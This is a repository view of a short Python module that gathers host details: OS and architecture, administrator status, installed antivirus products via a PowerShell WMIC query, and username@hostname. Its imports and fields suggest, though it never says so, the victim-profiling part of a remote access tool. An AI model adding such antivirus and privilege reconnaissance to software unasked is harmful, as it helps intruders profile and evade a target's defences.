summaryrefslogtreecommitdiff
path: root/foreign/utility/system_info.py
blob: 58640bec5311eaebf1c0457e676a9000a6aef715 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import platform
import getpass

from foreign.privileges.win_privileges import *
from foreign.utility.terminal_pipe import *


def system_info(extra_data):
  system_obj = {}

  try:
    system = platform.uname()
    machine = system.machine.lower()

    if machine == 'i386':
      architecture = '32-bit'
    elif machine == 'amd64':
      architecture = '64-bit'
    else:
      architecture = '???'

    system_obj['os'] = f'{system.system} {system.release} {architecture}'
  except:
    system_obj['os'] = f'???'

  try:
    if is_running_as_admin():
      system_obj['privileges'] = 'Administrator'
    else:
      system_obj['privileges'] = 'User'
  except:
    system_obj['privileges'] = '???'

  try:
    powershell_command = r'powershell WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List'
    system_obj['antivirus'] = ', '.join([antivirus.strip() for antivirus in terminal_pipe(powershell_command, extra_data[0], extra_data[1]).split('displayName=') if antivirus != ''])

    if system_obj['antivirus'] == '':
      system_obj['antivirus'] = 'No Antivirus Activated'
  except:
    system_obj['antivirus'] = '???'

  try:
    hostname = system.node
  except:
    hostname = 'Unkown'

  try:
    system_obj['username'] = f'{getpass.getuser().capitalize()}@{hostname}'
  except:
    system_obj['username'] = f'Unkown@{hostname}'
  
  return system_obj